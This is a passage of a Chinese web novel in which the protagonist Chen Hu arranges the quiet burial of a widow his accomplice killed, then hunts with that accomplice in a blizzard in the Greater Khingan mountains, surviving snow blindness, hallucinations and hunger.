“这样吧……大家就帮着给尸体放下来,邻里一家出两块木板,给拼凑个棺材。这件事情,回头我去镇上汇报上去,然后我这边出资五块,大家商量着给人下葬了,也好让苦命人死后落个安生。” 陈虎的一席话,让得一众村民们都忍不住连番称赞。 到最后,一切也正如陈虎所期盼,村民们甚至于都没有要求去报官,几人合力将尸体放下。 然后,村中邻里们各自凑了一块木板,将马红艳整个人塞进了简易到漏风的棺材之后,当天下午,他们便草草找了一处坟岗,把马红艳葬下了! 在凑热闹的人群之中,马老三一言不发,但在干活儿时,却极为卖力。 陈虎见此情形,便去了一趟马老三的家中。 不多时,杨春便来到人前,拎着马老三的耳朵,然后就扯着马老三回去了。 待到晚间,一切尘埃落定之后,马老三便在家中摆满了一桌子的酒菜,来请陈虎上门吃饭。 一如陈虎家早先落魄一样,马老三家里的屋子也已经老旧失修,不仅房檐处有孔洞漏风,就连屋舍也仅仅足够马老三一家三口勉强住着。 第一卷 第81章 尘埃落定 杨春是个精明能干的女人,比起马老三来说,她的胆气也足了不少! 尽管白日里,马红艳才死,而杨春也清楚记得陈虎曾答应过她,会让马红艳这个寡妇消失。 杨春在面对陈虎时,却并未显露异样,尽管知道昨儿半夜自家男人出了门,也没再追问。 给陈虎备了一桌子的酒菜之后,杨春便带着孩子,去了灶房吃饭,给陈虎与马老三两人,留足了交谈的空间。 望着桌上煮熟的老虎肉,以及一碟炒咸菜,还有一壶烧酒,陈虎吃得津津有味。 陈虎一边吃,还一边夸赞道:“杨春手艺不赖!马老三,你倒是有福气,娶了这般好的一个媳妇儿!” 马老三没有动筷,倒上两碗酒之后,自顾自的吞酒,脸色十分难看。 陈虎见状,不由得嗤笑道:“怎么着?你那情人死了,你心里头可惜呢?” 马老三闻言,这才放下酒碗,连忙否认道:“虎哥说笑了!我哪儿有什么情人?” 陈虎听到马老三这话,十分赞许的看了马老三一眼,接着又望向四周,无奈的叹气道: “我那儿修了新屋还好,不过你家里面的情况,倒还是让人忧心。这几日等我这边将先前的屋子改建完,把养殖场改建好了之后,咱们就进山。既然当初我承诺了你跟着我的话,你的日子绝对不会差,那你家这房子,我就得让你明年全部都给翻修完!” 马老三听到陈虎这话,不由得浑身一激灵,连忙起身端着那碗酒水,半晌却又憋不出半句话,只得端起酒,一饮而尽。 空碗见底,马老三这才认真的说道: “虎哥,承蒙照顾!往后你就是让我马老三上刀山、下火海我也绝不带含糊的!” 陈虎见状,连忙拍了拍马老三的肩膀,安抚道: “上啥刀山,下啥火海的?放心!我既然还活着,就看不得你上刀山下火海。” 后续的日子里,马老三逐渐回过神来,好似全然忘却了马红艳的事情一样。 整日里,马老三不是忙活着帮陈虎改建养殖地,就是在家劈柴挑水,仿佛又回到了最开始那个勤俭、老实的马老三。 而马红艳的死,也让得马老三再一次被绑到了陈虎的船上,二人成为了实打实的利益共同体。 可实际上,在此之前,陈虎甚至于已然做好了让马老三和马红艳二人一并消失的准备。 当然,陈虎的这打算,也随着马老三的及时醒悟,成为了过去式了。 关于马红艳的死,一直到三日后,陈虎上报到镇上,而镇政府也不过是简单的问询之后,将这家人销户,便就没了后文。 对于这种情况,陈虎其实也早有预料。 所以,很多时候让一个人消失,不一定非要诸多繁琐的步骤。 即便是在陈虎的上一世,在那个法律严谨,追求公正的年代,很多时候一眼明了的死因,也都不会被严肃对待的。 取证与调查,既可以深究到底,也可以走个过场。 在所有的规则范围之内,找到规则的漏洞,往往是一件事情的最优解! 正如陈桥一家的案子,被大张旗鼓的调查之后,成了悬案那样。 有时候,再完美的处理,也会出现纰漏,倒不如将真相直接就掩盖在漏洞之中。 没人会怀疑马红艳的死因,尘埃落定之后,人们甚至于会因为陈虎出钱出力,为马红艳这个无亲无故的寡妇下葬而称赞。 正义也许存在,但前提是这件事情,已经暴露在了阳光之下! 养殖地的改建,一连进行了三日。 原本陈虎家的那处老破小,在打通了几扇非承重的墙壁后,摇身一变,立了牌子,就成了陈氏家禽养殖场。 但刚搬进新居,就为养殖场挂了牌的陈虎,却又忍不住一阵愁闷。 养殖场落地之后,杨蓉一个人显然忙活不过来,再加上家里面还有两个小家伙需要人照顾! 最让人头疼的还是随着这几百只鸡崽子长大,需要供应的粮食也逐渐增多。 鸡鸭鹅这类家禽的成长周期都很短,也就是说半月前可能一天加上草料,这些鸡崽子家禽仅仅能吃四十斤,但半月之后,粮食混着草料吃,就需要一百斤! 陈虎先前的收益,在改建老屋,搬进新家,又购买鸡苗之后,早已见底。 眼下,资金周转不开,却又成了摆在陈虎眼前的难题。 由于杨蓉忙不过来,陈虎索性又聘用了张大娘来帮衬着喂养。 随着需要花钱的开支,逐渐增大,陈虎不由得也再度萌生了进山的念头。 这日,陈虎约来了马老三,开门见山,直言道:“我打算进山,马老三,你咋说?” 马老三闻言,顿时神色欣喜,当即便拍着胸脯,说道:“虎哥要是愿意带上我,那是我甘愿为虎哥你上刀山……” 陈虎一听这话,当即就打断道:“得!那说好了,这两日记得做做准备,眼下年关近了,既然要进山,那咱们就免不了多待几日。争取这次进山多谢收获,也好过个肥年!” 商议定下两日后进山,陈虎与马老三便都忙活起来,开始采买物资,为进山做准备。 首先就是烈酒,深山的夜里,气温下降迅速,没有烈酒保持体温,低温症能轻易的要了人命。 陈虎还找来了一些棕榈,缝制之后,可以搭建成简易的帐篷。 马老三也到镇上,采购了一把短刀,以及一杆火枪。 待到两日后,二人清早吃过早饭,便再一次踏上了行程。 陈虎和马老三进山时,天才蒙蒙亮,所有的物资都堆放在拖车上。 木制拖车除了能够为进山提供运载外,更是猎获后运载猎物的必备工具。 腊月的大兴安岭,风雪自然是主频率。 陈虎也没能想到,二人刚进山还没来得及喘口气,风雪便黑压压的砸了下来! 山上的海拔,让狂风更显狰狞,咆哮着连带漫天的风雪呼啸。 重叠的山峦间,狂风骤起,暴雪飞舞。 一棵棵古树上的积雪,在风力下,席卷着散落。 树枝上的冰晶,咔擦作响,碎落后没入雪地之中,不时地落到陈虎和马老三的身上,犹如被冰雹砸到一般,让人吃痛。 陈虎也是被这鬼天气挫了锐气,只得带上马老三,寻到一处岩壁之下,紧急的扯着棕榈皮,搭建了临时庇护所。 二人忙活半晌,搭建完临时庇护所之余,又收集了些许干柴。 直到篝火点燃之时,风雪都还在呼啸不停。 望着临时庇护所外的狂风骤雪,陈虎也忍不住的长叹了一口气,而后面露忧虑道: “这鬼天气若是大雪一连下上几日,只怕这次得无功而返了!” 暴雪超乎预料的一连下了两日,连日连夜的大雪,让得山间早已没了道路可言。 目所能及处,积雪都厚达一米以上。 如此一来,行人在此连到处走动都十分困难了,更别提去打猎了。 这场始料未及的大雪,此刻既让陈虎和马老三庆幸,又让得两人忧心。 庆幸的是两人没有提早两日进山。 否则的话,他们若是提早两日进了深山,这时候再突然来这么一场暴雪,只怕他们所带的干粮储备,完全都撑不到他们下山了! 第一卷 第82章 雪盲症 明晃晃、白皑皑的冰雪,将天地都连成了一片。 映入眼帘的白色世界,刺得人眼生疼。 接连两日的暴雪,让得陈虎和马老三没能够前进半步,更无力原路折回。 一切本该在雪停下的这一日,逐渐好转。 可这日清晨,陈虎睁开眼之后,却惊觉天塌了! 他慌乱的挥动着手臂,在那狭小的庇护所中摸索,被陈虎这怪异举动惊醒的马老三,急忙扶着陈虎,诧异开口道: “虎哥……你、你这是?” 陈虎努力让他自己平静下来,而后缓缓坐下,接着举起一只手掌,在他的眼前晃动着。 两只眼睛里面明显的异物感与阵阵刺痛,再加上眼前露着红光的漆黑一片,陈虎忍不住声音,颤抖出声道: “我……我看不见了!” 原本还睡眼惺忪的马老三,一听陈虎这话,顿时一个激灵,当即睡意全无道: “虎哥,你眼睛,你眼睛这是咋了?这是?” 马老三凑近了看向陈虎那双微微眯着的双眼,眼眶浮肿,眼睑明显泛红。 一时之间,马老三比陈虎还更显慌乱,他着急的双手无处安放,忍不住的直跺脚。 马老三清晰的意识到,如果陈虎没了视力,那仅凭他一个人,恐怕他连下山的路,都找寻不到! 莫说眼下外面暴雪过后路况多变,就算是没有暴雪,他自个儿也得困死在山上! 尽管此刻不可视物,陈虎仍旧能够想象到,马老三慌乱的神情,当即摆了摆手,宽慰道: “无妨!应该是雪盲症!” “雪盲症?那是个啥?能治好吗?虎哥?” 陈虎闻言,深吸了一口气,解释道: “这种病症在极寒之地很常见,我目前的表现,十分贴近,大致就是雪盲症。如果是雪盲症的话,我大概在两、三天内,就能够恢复视力。当然,在此之前,我得避免被强光刺激。” 闻听此言,马老三的心头,总算是多了一丝慰藉,随后吐出了一口浊气,眼神转而坚定: “虎哥,你放心!这几日我负责做你的眼睛,我们来的时候准备的干粮,大概还能撑个四、五天,不妨事的!” 陈虎闻言,紧闭着双眼,摇了摇头道: “不!如果留在这儿不作为,那这次上山可就无功而返了!这临近年关,你家马雨明年学费咋整?你家屋子还翻新不翻新呢?我那养殖场的饲料也要断了,到时候产生的损失,咱们可承担不起。” 马老三见陈虎这般说,一时之间,也是惊异不已道:“啥意思?虎哥?” 陈虎不由分说的站起身来,紧接着从里面的衬衣上,扯下一块黑色布条,缠绕到了眼睛上面,神色坚毅的沉声开口道: “你做我的眼睛,既然雪停了,那咱们接着往深山出发!” 嘶…… 马老三忍不住倒吸了一口凉气,有些不确定道:“虎哥,你这眼睛……” 常人莫说好手好脚,有一对好招子,就算是三头六臂,额头上多一只眼也不敢说,能够在这大雪封山,地势多变的深山里面,摸得清楚门道。 结果,眼下陈虎看不见就罢了,而陈虎非但不打算挨过这两天好全乎下山,还打算顶着这对不见光的招子,继续深入! 这不是纯摆着茅厕里面点灯——找死(找屎)吗? 但质疑的话到了嘴边,马老三却又说不出口。 毕竟,陈虎这厮历来不是常人,有此举动好像也算是合乎情理。 陈虎看不清马老三的神情,只是淡然开口道: “你放心!我家中的弟弟妹妹尚小,父亲早故,母亲一个人不容易,我比你更想安全回家,信我便是!” 眼见着陈虎把话说到了这份上,马老三一时之间,也再无多余的说辞,只得在心中暗自叹了口气,应了下来。 当然,马老三仍旧不信陈虎失去了双眼,还能够正常行进,只想着等会儿陈虎总算明白不方便处,能够老实的留下不再多想,等到他的眼睛痊愈之后,二人再安全下山。 很快,马老三便将所有的辎重收整完毕,放到了拖车上,并且用棕榈叶给两人各自做了一双草鞋。 当然说是草鞋,也不算准确,其实就是棕榈叶上绑了枝条,再绑到了鞋上。 如此一来,踩在厚达一米的积雪上面,能有效增加受力面积,让人不会陷进雪里面! 准备完毕之后,陈虎借着马老三口述的地貌,当即便划定了行进路线。 二人开始出发,马老三走在前方开路,用一根绳索拖着拖车,陈虎则跟在拖车后,两手撑着车尾,奋力的往前推着走。 如此一来,这辆雪地拖车不仅担任了运送物资的角色,更是成为了陈虎的导盲棍。 大雪过后,山道早已被积雪掩埋。 走在雪地上,每一步都需要小心翼翼,因为你很难搞明白积雪下面是一堆杂草、枯木,又或是一处深坑。 若是稍不注意,再加上点背的话,很有可能一脚踩空,直接给脚崴了。 如此情景之下,若是崴脚,那基本上就等同于宣判了死刑! 所以,陈虎和马老三行进的速度很慢,到了正午时分,他们才翻过这座山头,进入到一处山脉之中。 随着二人的足迹,踏过崎岖的山道,踩着厚重的积雪,不断深入,海拔与气压开始一并增高。 四周的树木,开始变得稀疏,道路也愈发陡峭。 四周遍布雪幔,斜坡处的积雪在拖车与人踩过之后,会成片成片垮塌,露出怪异的乱石。 二人总是走上几步,便重重喘气,身体的各项机能都在赶路时急速下降。 走过一处斜坡,马老三选择了一处平坦的地势,停下歇息。 二人喘口气的功夫,天色开始逐渐昏暗下来,黑压压的天际中,一只怪鸟飞过,传来阵阵嘶鸣低哑的怪叫声——唦!唦!唦! 陈虎和马老三一人在拖车前头,一人在拖车后头,鲜有人主动出声,低压缺氧再加上体温不断流逝,让二人的体能近乎到达了极限,没人愿意多说话,气氛诡异的低迷起来。 许是意识到这支仅有两人的队伍,需要一点儿望梅止渴的象征目的地,陈虎深吸了一口气,感受着冷空气刺痛鼻腔,吸入肺部那种要命的寒意,接着声音沙哑的出声道: “马老三,加把劲!翻过这座山头,到了山背面选一处岩壁下,咱们就能够搭建庇护所了,留在山上的话,夜间的低温会要人命的。” 马老三应了一声,接着奋力起身,望着眼前白茫茫一片的雪地山路,吆喝道:“动身嘞!” 陈虎也跟着起身,接着赶路。 接下来的半个小时内,二人都没再出声,就这么安静的往前走着。 第一卷 第83章 幻觉 可就在陈虎意识有些涣散,感觉到体力透支时,他突兀听见前方的马老三突然兴奋出声,大喊道: “唉!这边!我们在这边!” 马老三这声呼喊,让得陈虎瞬间清醒过来,浑身不由得泛起了一阵鸡皮疙瘩,急忙一把拉住前进的雪车,扬声呵斥道: “老三!你在和谁说话?” 不能视物让得陈虎的安全感,降到了最低,一些个风吹草动都会让他的心中不安,更别提眼下马老三竟然在与人对话! 这般诡异的天气,如此深山老林,怎会有人与马老三交谈? 这着实诡异的紧! 伴随着陈虎一声呵斥,马老三半晌没有答应,陈虎赶忙又喊了一声:“老三!你说话!” 这时候,马老三才茫然的应道:“虎哥!咱们好像走出来了,前面有人唉!咱们应该是到后山那地界了,估摸着我媳妇儿和村里人在前面,他们来接我们了!” 闻言,陈虎顿时忍不住心头一沉。 这下子玩脱了! 陈虎很清楚方才他们进行的方向是朝着深山走去的,依照陈虎预想的路线,二人翻过这座山头,便能够进入山脉之中,届时再寻一处能遮风的庇护所。 类如山坳或是岩洞的地方,如此休整一晚,次日让马老三探查下周边,他的眼睛也差不多快痊愈了。 但眼下马老三的状况,很显然是低温再加上缺水,导致他出现幻觉了! 陈虎随即深吸了一口气,一边平复他自己的情绪,一边出声道: “老三,你好好看看!咱们现在还在深山里头,不可能有人的!你醒醒!” 马老三神色恍然地转头望向眼睛缠着黑色布条的陈虎,喃喃出声道: “虎哥,你看不见,前面真有人,咱们去看看!” 说话间,马老三拖着雪车,开始用力向前。 陈虎当即重心不稳,赶忙紧紧地抓住雪车的尾部,但尽管他用力拉扯着雪车,雪车仍旧在马老三的拉扯之下,不断向前。 陈虎惊慌失措,不断出声劝诫,大喊道: “马老三!你醒醒!” “前面什么都没有!你别踩空了,咱们眼下还在山头上!” 陈虎眼下生怕马老三朝着悬崖边走去,若是那样的话,他多半也会被雪车拽着摔下去,到时候,他这条命就算是直接就交代在这里了。 但陈虎同样清楚他自己不能撒手。 否则的话,跟丢了马老三,那他眼下一个瞎子,物资又全部都在雪车上,到时候,在这山头,他只有冻死或是被野兽发现吃掉的这两种可能! 可是无论陈虎如何呼喊,马老三却恍若听不见似的,仍旧执拗着向前。 不多时,就在陈虎还在思考该如何脱困时,却感受到马老三停了下来。 陈虎总算是松了口气,可下一瞬,却听到马老三喃喃出声道: “咦?怎么到那边去了?唉!你们别走啊!我这就过来!” 伴随着马老三的话音落下,陈虎便感受到马老三紧急转向,朝着另一头走去,拖车再度出动,陈虎却无力改变什么。 很快,马老三开始神志不清的一阵阵嘟囔着什么。 并且,行进的方向也在不断变换。 陈虎失去视觉之后,各方面的观察力却是变得越发敏锐起来,当即便察觉到马老三在带着他不断绕圈。 意识到不能再继续这样下去,陈虎直接爬到了雪车上,而后一步步的爬到了前头,紧跟着依靠摸索,一把抓住了马老三的手! 马老三被抓住后,顿时身子一僵,这才陡然停下了脚步。 陈虎深吸了一口气,紧接着没有丝毫犹豫,举手便依靠感知,朝着马老三的脸上,直接呼了一巴掌! 这一巴掌,结结实实的打在了马老三的脸上。 感受着左脸火辣辣的疼痛,马老三这才堪堪醒转过来。 在意识回归的一瞬间,马老三便看到了前面不远处,是一处悬崖! 眼下,他们两人正位处于一处山脊上,四周有着不大的一块空地。 方才,他们就是在这处空地不断打转。 在马老三失神出现幻觉的时段中,他的眼前除了白雪茫茫,还一个劲儿地看到不远处闪烁的一道道人影。 可眼下的清醒,却将马老三再度拉回到现实,他意识到刚才他的荒诞行为,差点儿要让他们两人走向前方不足十米处的悬崖绝壁。 马老三顿时一屁股跌坐在地,豆大的汗珠不断地从他的额头冒出。 “虎……虎哥,我刚才……” 陈虎听到马老三慌乱的措辞,这才松了口气道:“你总算是醒了!” 可接下来,马老三一连串的话,却是让得陈虎浑身冷汗直冒。 “虎哥,我刚才……刚才看错了,那些人影还在,好眼熟、好眼熟……我见过他们!” “他们过来了!他们过来了!” “是了!是他们!” “陈桥!陈西海!马红艳!王二……” “他们来了!虎哥!救我啊!虎哥!” 随着马老三惊慌失措的呐喊,将一个个死去的名字一一念出,陈虎瞬间明白,马老三还处于幻觉之中,并没有醒来! 几乎是一个呼吸的瞬间,陈虎猛地纵身一跃,朝着马老三所在的位置扑去,然后不偏不倚地骑到了马老三的身上。 紧接着,陈虎左右开弓,猛地冲着马老三两边的脸上,落下巴掌! 不多时,马老三便彻底晕厥过去。 陈虎随即长出了一口气,用手感受着马老三的呼吸与脉搏,确认没有太大的问题之后,又从雪车上面,摸索着搜出一条毯子,将其盖在了马老三的身上。 最后,陈虎还费尽力气的将马老三给拖到了雪车上面,避免马老三严重失温。 天色逐渐变暗,当然,这对于眼下暂时失去视力的陈虎而言,难以察觉。 可天黑后,随着地表热辐射逐渐散去,气温会骤然下降。 感受到周围的气温逐渐降低,陈虎也明白天黑了。 也就在此刻,马老三终于清醒了过来! 醒转后的马老三,先是打了个哆嗦,感受着冻僵的手脚,然后茫然的爬起身,望向四周。 在马老三的视角之中,陈虎盘腿坐在雪车上,天色昏暗一片,此时已然是傍晚时分。 山脊处,风声呼啸,周围灰茫茫的雪景与沉重的乌云连成一线,天地再无交界。 马老三很快恢复了清醒,急忙抓住了陈虎的胳膊,颤抖着出声问道: “虎哥!我们……我们现在该怎么办啊?” 马老三此时回忆起先前他陷入幻境后所发生的事情,忍不住一阵后怕。 只差一点,他就要带着陈虎,丧命于此了! 陈虎见马老三总算是醒转过来,也是松了口气,当即扶着雪车,站起身来,向马老三询问着周围的地貌。 第一卷 第84章 生死一线 马老三听见陈虎镇定的问询之后,当即像是抓住了主心骨一样,急忙环视周围,将四周的地貌,详细的描述着告知给陈虎。 二人身处一处山脊的顶端,两边皆是重叠的山峦,陈虎当即就果断地决定朝着北边的山坳往下走。 马老三在得到陈虎指示之后,便毫不犹豫的拖着雪车,朝着北边,下山而去。 陈虎则回到了车尾,负责稳住雪车。 下山不比上山,但凡是一个不稳,雪车就有滑落往下的趋势。 好在,马老三选择的路线十分保守,雪车也平稳向下。 不多时,二人来到山腰的位置,马老三感受着冻僵的手脚,不由得重重的叹了口气,然后瘫坐在地,摇头出声道:“不行了,虎哥,我走不动了!” 陈虎闻言,也是暗自叹气,接着果断的指示道: “挖一处雪洞口,将搭建庇护所的棕榈叶拆开来点了取暖。咱们吃些东西,今晚就在雪洞里面过夜,夜里尽量不要睡着,就着烈酒,保持体温……” 陈虎的决断,很快就起了效果。 马老三用尽力气,挖出了一个足够容纳他们两人的雪洞。 接着,马老三所点燃的棕榈叶,也让得他们二人冻僵的手脚,得到了喘息的机会。 当他们二人吃上一口热汤与烤热的干粮之后,马老三的心中,总算是又再度燃起了求生的欲望。 雪夜的山上,寒风呼啸着,像是一只被天地囚禁嘶吼不断的困兽,每一次的咆哮,都用尽了全身的力气,震得陈虎和马老三耳朵生疼! 袄子能够最大程度的保暖,并且隔绝一定的风雪侵袭,毡帽挡住了他们的半张脸和耳朵,手套和毛靴子也尽全力为他们提供温暖。 可尽管有着全套防护,但寒冷仍旧无孔不入地侵袭着他们二人身体的每一寸。 那种沁入骨髓的寒意,无时无刻的都在撕咬着两人! 两人端坐在那依靠着山壁所挖出的雪洞内,雪洞半敞着,拖车的板子挡住了缺口,里头的两人背靠背的席地而坐。 马老三不时的添着棕榈叶,维持那一座小火堆,让其不至于熄灭。 但棕榈叶不像干柴,燃烧速度之快让得马老三一再皱眉。 对于这片茂盛生长了数千年的密林而言,这是一个再普通不过的冬日夜晚。 但对于陈虎与马老三这两个在冬日里寻求活命的人而言,这一晚,他们每时每刻都处于鬼门关的边缘! 半夜,眼看着棕榈叶被烧光殆尽,马老三的心中一片惨然,他那早就已经冻裂的嘴唇,蠕动着出声道: “虎哥,棕榈叶烧光了。” 陈虎闻言,深吸了一口气道:“我往里挖深一些,争取挖到岩壁,你在外边把雪弄出去。” 马老三闻言,心中满是疑惑,但却没有力气再多问了。 陈虎则忧心忡忡的解释道: “一来,咱们得动起来,让血液加速流动,要是感觉到失温,就喝口酒,吃点干粮,补充热量。” “二来,我不放心这岩壁上方的积雪是否稳定,万一坍塌的话,那我俩可就算是彻底栽在这里了!把雪洞往深处挖,不仅保暖,到了里头后,再把拖车撑在岩壁之上,这样挡风的话,还能够预防积雪塌陷。” 对于陈虎和马老三来说,这是一个不眠之夜。 没办法,入睡会降低人体的体温以及血液流动的速度,人类随时都会陷入失温的风险。 所以,这一晚上,两人几乎没有入眠,就这么干守在雪洞里面,不时的喝上一口烈酒,为身体提供热量。 恍若过了一个世纪这般久远,逐渐的,天亮了。 陈虎掀开了缠住眼睛的布条,他的视力小尚且没有恢复,但却勉强能够见到光线,这对于陈虎而言,属实是一个好兆头。 这意义,猜测不错。 他的确是患上了雪盲症,相信两日内,他的视力就能够恢复! 马老三神情萎靡的爬出雪洞,看着蒙蒙亮的天色,不由得长叹了一声。 陈虎则强撑着精气神,当即吩咐道: “收拾一下,往山坳里去!眼下的食物仅仅够撑一天多,要是不能有所猎获的话,那咱们俩就是想走出这片山林,也有些痴心妄想。” 随之动身,后半段下山的路倒是平坦,很快,二人便到了山坳的地段。 地势低处,寒风不再侵扰,让两人总算是松了口气。 更让人惊喜的是,马老三发现了一处岩壁缝隙。 这处缝隙横在一处崖壁之下,内部空间勉强算得上宽敞,容纳他们两人,绰绰有余! 当即,这处岩缝便成了二人的临时庇护所。 简单的休整过后,马老三还找来了不少干柴,等到火堆点燃之后,炙烤过的干粮便冒着热气。 与食物的香味,马老三还特别摘来一些松针,就着雪水,煮了一锅松针热茶。 热茶和干粮下肚,让得两人都恢复了不少精气神。 经过短暂的休息过后,马老三压抑的情绪总算是逐渐回转。 随后,马老三坐在岩壁前,一边给火堆凑柴,一边感叹出声道: “虎哥,咱们俩这也算是……说书的咋说来着,哦……对了!生死与共了是吧?” “怎么?要拜个把子结成异姓兄弟?”陈虎闻言,忍不住打趣道。 吃饱了的陈虎和马老三,有了精气神说笑后,马老三当即嘿嘿一声,接着叹气道: “虎哥要是乐意,我自然乐意!其实虎哥,这次哪怕进山没收获,那也没事。你那边要是养殖场饲料不够,之前你分给我那虎骨都还在嘞,卖了换钱后,你先使着就是,大不了下次我们再进山多猎些!” 陈虎闻言,无奈摇了摇头道: “是我有些心急了这次!但你也别忧心,最难熬的几天,已经过去了。今儿我们休整下,看看周围有没有猎物的踪迹,最多后天一早,我的视力就能恢复,到时候,我们非要满载而归才是!” 马老三闻言,没再吱声,这两日的种种事情让得他一次次的在鬼门关前打转。 其实,马老三早就有了劝说陈虎折返的念头,但他却始终说不出质疑陈虎的那些个话来。 短暂的沉默让得氛围再一次变冷,马老三忍不住回想起昨日的幻觉,心中不禁一阵胆寒。 深陷幻境时,他眼瞅着这些日子内死去的那一票人,挨个出现在他的面前。 他心中的寒意,甚至于比这冰天雪地,还要瘆人! 现在仔细回想一番,马老三也是忍不住的一阵感慨。 他上半辈子加一起,也没这段时间内,所见到的横死之人的数量多! 先是王二父子,朱明,然后是郑荣生、马红艳与陈桥一家。 其中,马红艳与陈桥一家甚至于都是他自己亲自动手杀的! 这让得马老三一时之间,忍不住的抬起双手,恍惚间,他仿佛看见了他那满是老茧和冻疮的双手上面,已经沾满了斑斑血迹! 第一卷 第85章 好犀利的箭法! 横错交织的山峦,冰封盘踞。 茫茫雪野在寒风侵袭下,呜咽整夜。 随着晨辉翻过山头,白净寒冷的阳光落到山林之中,雪花与冰晶争相闪耀着夺目的白光。 一缕炊烟在山野之中,缓缓升起,升到半空之后,又融入到茫茫雾色之中。 陈虎堪堪醒转,睁开眼的一瞬间,便感受到了一股刺痛! 他急忙闭上眼,眉头微微皱起,摸索着爬起身。 此刻的马老三,还蜷缩在昨日搭建的庇护所中,睡意正浓。 昨晚搭建的柴火堆,此时也只剩下了焦黑的灰烬。 陈虎抬起手掌,挡在脸上,眼睛微微眯出一道缝。 白雪皑皑的世界,让他的眼中,有些许朦胧。 强光对于眼下的陈虎而言,会带来尖锐的刺痛感。 他缓了许久,方才逐渐适应。 当然,陈虎清楚视力恢复仅仅是暂时的。 眼下,他还需要最大程度的保护他的这对招子,让其不再受到过多的刺激,如此才能够确保痊愈! 否则,若是继续恶化的话,那他很有可能会出现永久性的视力损伤,甚至于是失明! 这时,马老三也逐渐被陈虎弄出的动静吵醒,睁开眼后,他不由得打了个哆嗦。 接着,马老三疲惫的爬起身来,然后冲着陈虎,打了个招呼道: “虎哥,你醒了!” 就在马老三还惺忪睡眼,没有全然醒来时,陈虎已经勉强能够看清周遭的一切,然后走到一旁,搬来一些木柴往火堆里送。 见此情景,马老三这才反应过来陈虎的视力已经恢复了,不由得惊喜出声道: “虎哥,你眼睛好啦!” 陈虎浅笑着微微颔首,吐出一口浊气应道: “已经能看见东西了,只是暂且不能见强光。” 正说着,陈虎坐到了火堆面前,扯出一截衬衣,当即割下了一块布条,蒙在了眼睛上面。 麻布的缝隙比较大,蒙在眼前也能够勉强看清,只不过视觉范围十分有限。 马老三这几日悬着的心,此刻总算是落地! 陈虎的双眼再能见到光的话,这也就意味着他有了活着回去的底气。 否则的话,若是陈虎的双眼一直不能视物,莫说此行有所收获,单单是如何走出这片莽荒密林,马老三都不知道有没有希望。 为此,马老三这几日内,心里面,一直悬着一块大石头。 尽管陈虎话说得再如何漂亮,但马老三仍旧忧心不止,只不过不曾在陈虎的面前说出。 眼下,彻底没了后顾之忧后,马老三也是忍不住兴奋起来,兴致勃勃道: “虎哥,那咱们现在下山?” 陈虎闻言,眉头一挑,随后望向远处白雪覆盖的密林,轻哼一声,恣意笑道: “下山?马老三,我说过这次保管满载而归!咱们先吃过早饭,然后去这周边巡视一圈,看看有没有什么意外收获。” 马老三看到陈虎兴奋的神情,顿时嘴角抽了抽,犹豫了片刻之后,这才弱弱出声道:“虎哥,咱们所有的口粮,昨晚上已经吃光了,今儿要是不能下山,只能饿肚子了。” 干粮吃光这件事情,实际上在两日前,马老三就已经有心理准备了。 所以,这两日内,马老三都省着分配着干粮吃。 他之前见陈虎眼睛那般样子,也就没和陈虎通气,昨晚上两人的晚餐结束之后,就已经吃光了所有的口粮。 马老三在昨晚入睡前,便已然打算着,要是陈虎今儿视力不能恢复,那他就索性坐在原地等死算了! 毕竟,没有陈虎的话,他既没有狩猎的本事,也没有走出这片山林的能耐。 陈虎得知干粮吃光后,倒也没显得多惊讶,反倒是十分随性的起身,接着活动着身子,满不在乎的出声说道: “没口粮?马老三,你看不见吗?这漫山遍野可都是咱们的口粮!” 说罢,陈虎将他的弓弩、猎枪以及短刀等装备,一一准备齐全,而后冲着马老三招呼道:“愣着做甚?走!带你去取咱们的口粮!” 马老三听到陈虎的话,满脸茫然。 愣神片刻后,这才赶忙拿起他的开山刀,背上那杆猎枪,跟上陈虎的步伐。 陈虎和马老三搭建的庇护所,位于群山中央,一处四面环山的低洼处。 借由着山壁挡风,柴火取暖,以及搭建在岩壁缝下的庇护所防寒,这才能够勉强渡过昨夜。 在开始动身之后,他们二人沿着一条山坳向北边走,不多时,便到了一处地势平坦的地界。 这是一处山脚下,林木不再茂密,还冻结着一条溪涧。 还没有仔细探查,刚到溪边时,马老三便忍不住浑身一震,低声朝着陈虎开口道:“虎哥,是黄皮子!” 陈虎的眼睛上面蒙着麻布,虽然能够勉强见物,但他的视线却受到了极大的阻挡。 听到马老三的话后,陈虎急忙朝着马老三所指的方向望去。 就见得,在一颗巨大的枯木上,白色的冰雪覆盖下,黄皮子那油黄色的皮毛,十分亮眼。 这畜生此刻正安静的蹲在树杈上面,舔舐着他自身的皮毛。 陈虎当即神色一凝,麻布虽然遮挡了他大部分的视线,但他却仍旧能够看清了那只黄皮子的踪迹。 随即,只见得陈虎半蹲下身,然后取出弓弩,挽弓搭箭。 仅凭着那模糊的视线,以及多年在刀口上舔血的敏锐感,伴随着一道破空之声响起,陈虎手中的箭矢,飞射而出! 下一瞬,那只黄皮子还没有反应过来,便直挺挺的被箭矢射中。 那只黄皮子整个身子当即就被巨大的惯性冲击,然后直接砸落到了远处的雪地里面! 马老三见此一幕,不由得惊呼出声道:“虎哥,中了!好犀利的箭法!” 陈虎闻言,微微摇头,道:“别捧了!去把那黄皮子带回来,多少也有七、八斤肉,咱俩就地烤制,先吃过早饭再说!” 马老三听到陈虎这话,却迟迟没有动作,他的神色十分为难道:“虎哥,那可是黄仙儿,咱们给吃了的话,怕不是……” 陈虎对上马老三闪躲的眼神,忍不住扶额,叹了口气。 果然,封建迷信害死人! 陈虎也懒得多说什么,类似于这些个根深蒂固的迷信传言,他说再多的话,旁人也不会信。 当即,陈虎便自己动手,并摆手吩咐马老三道:“去拾些干柴,把火点燃!” 说罢,陈虎便来到不远处,将箭矢与黄皮子收起。 陈虎将这只黄皮子放到手里拎了拎,这才不过片刻功夫,方才还鲜活的黄皮子,就已经冻硬了,约莫我有六、七斤重,陈虎也忍不住感叹一句道: “这林子里面啥都肥,像这么大的黄皮子,只怕也是少见!” 第一卷 第86章 要咋做,你吩咐就行! 刚感叹完这只黄皮子的重量,陈虎便拎着这只黄皮子,然后直接抽出短刀,蹲下身子,不紧不慢的处理起来。 先是剥皮。 不过,这只黄皮子的皮毛,大概率是没人收的。 带回去的话,自家娘估计也闹心,所以,这只黄皮子的皮毛,陈虎直接连带着内脏一块儿扔了。 陈虎这边简单处理了这只黄皮子之后,马老三那边的火,也已经升了起来。 陈虎当即砍来两根湿木,剥去树皮,将一端削尖,接着穿上处理好的黄皮子肉,便架到了火上,炙烤起来。 两人来时准备的物资里面,带上了一些食盐。 